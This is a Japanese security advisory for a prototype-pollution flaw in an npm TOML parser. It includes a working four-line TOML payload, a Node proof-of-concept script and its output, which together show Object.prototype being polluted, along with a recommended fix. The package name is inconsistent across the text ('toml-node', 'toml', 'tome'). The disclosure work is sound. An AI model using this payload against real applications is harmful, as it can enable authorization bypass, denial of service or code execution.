toml-node: プロトタイプ汚染:TOMLドキュメントの解析により、Object.prototypeに書き込みが発生する可能性があります。

### 概要
CVE-2026-63376で説明されているプロトタイプ汚染は、`__proto__`キーパスの同期のずれによって引き起こされ、4.1.2でパスの管理方法が書き換えられ、`ownedContainers`のWeakSetが追加されることで修正されました。しかし、この同期のずれは、ドットの代わりに引用符が使用されている場合でも依然として発生する可能性があり、重要なパスに対しては`owned-container`チェックが適用されていません。

`toml.parse()`で解析される4行のTOMLドキュメントは、Object.prototypeにプロパティを書き込み、そのプロパティはプロセス内のすべてのオブジェクト、および関連するライブラリによって生成されたオブジェクトにも影響を与えます。

### 詳細
以下の3つの点が問題を引き起こします。すべての行番号は、バージョン5.0.0の`lib/compiler.js`内のものです。

**1. パスキーのエンコーディングが曖昧です。** `quoteDottedString()`関数は、文字列に`.`が含まれている場合にのみ、文字列を引用符で囲みます。また、文字列内の`"`はエスケープされません。

```js
287: function quoteDottedString(str) {
288: if (str.indexOf(".") > -1) {
289: return "\"" + str + "\"";
290: } else {
291: return str;
292: }
293: }
```

したがって、キーパス`['x.y']`とキーパス`['"x', 'y"']`は、どちらも文字列`"x.y"`として解釈されます。これは、CVE-2026-63376で説明されている、ドットの代わりに引用符が使用された状態と同じです。

**2. テーブル配列のヘッダーが、別のキーの保護を無効にする可能性があります。** `addTableArray()`関数は、`assignedPaths`または`valueAssignments`を`isSameOrSubPath()`で曖昧な文字列とともに処理するため、レンダリングされたパスが別のキーと衝突する場合、そのキーのエントリが削除されます。

**3. `assign()`関数内の処理には、`owned-container`チェックがありません。** `deepRef()`関数は、中間セグメントに対してのみ`isOwnedContainer()`を適用します(`lib/compiler.js:265`、`:273`)。そして、最終的なコンテナに対してはチェックを行わずに値を返します。`assign()`関数は、その後、形状テストのみを行って値を割り当てます。

```js
93: target = target[k];
...
103: target[lastKey] = reduced;
```

TOMLにおけるdatetimeは`Date`オブジェクトです。これは`typeof target[k] === "object"`を満たし、配列ではないため、処理は`Date`オブジェクト内に深く入り込みます。また、`Date`オブジェクトは`Object.prototype`へのプロトタイプチェーンを持っています。

これらを組み合わせると、あるドキュメントは現在のテーブルを`Date`オブジェクトに設定し、その後、`__proto__.__proto__`を辿って`Object.prototype`に到達することができます。

```bash
mkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0
```

```toml
# poc.toml
"b.c" = 1979-05-27T07:32:00Z
[['"b']]
["b.c"]
__proto__.__proto__.polluted = "yes"
```

1行目は、レンダリングされるパスが`"b.c"`で、値が`Date`オブジェクトであるキーを定義しています。
2行目は、レンダリングされるパスが1行目と衝突するテーブル配列のヘッダーであり、そのガードを無効にします。
3行目は、そのキーを再度参照するため、現在のテーブルは`Date`オブジェクトになります。
4行目は、`Date`オブジェクト → `Date.prototype` → `Object.prototype`へとプロトタイプチェーンを辿ります。

```js
// poc.js
const toml = require('toml');
const fs = require('fs');

console.log('before:', JSON.stringify(({}).polluted));
toml.parse(fs.readFileSync('poc.toml', 'utf8'));
console.log('after: ', JSON.stringify(({}).polluted));
console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted'));
console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));
```

```
$ node poc.js
before: undefined
after: "yes"
Object.prototype.hasOwnProperty("polluted") = true
JSON.parse("{}").polluted = "yes"
```

このコードは、無害なマーカープロパティを1つ設定します。最後の行は、このコードが触れていないオブジェクトでもそのプロパティが利用可能になっていることを示しています。

重要な検証:ガードを無効にするヘッダー(2行目)がない同じドキュメントは、4.1.2以降のバージョンで正しく拒否されます。これは、ガードの無効化が問題を引き起こす重要なステップであることを確認します。

### 影響

信頼できないソースからTOMLドキュメントを解析するアプリケーションはすべて影響を受けます。例えば、ユーザーがアップロードした設定ファイル、サードパーティのパッケージやリポジトリからのマニフェストファイル、APIに投稿されたドキュメントなどです。このようなプロトタイプ汚染は、認証または認可の回避、サービス拒否、そして、適切な条件が揃ったアプリケーションでは、リモートコード実行につながる可能性があります。なぜなら、プロセス内のすべてのオブジェクトが、注入されたプロパティを継承するからです。

推奨される修正:`assign()`関数において、中間的な処理で既に利用されているチェックと同じものを適用します。具体的には、`target = target[k]`の後に、`!isOwnedContainer(target)`が真の場合にエラーとするようにします。または、`deepRef()`が返す値に対して`isOwnedContainer`を適用することも可能です。また、`quoteDottedString()`関数は、文字列内の`"`をエスケープし、異なるキーパスが同じ文字列として解釈されるのを防ぐ必要があります。

影響を受けるパッケージ:
- npm (JavaScript) tome: 影響範囲はバージョン5.0.0以下、5.0.1で修正済み。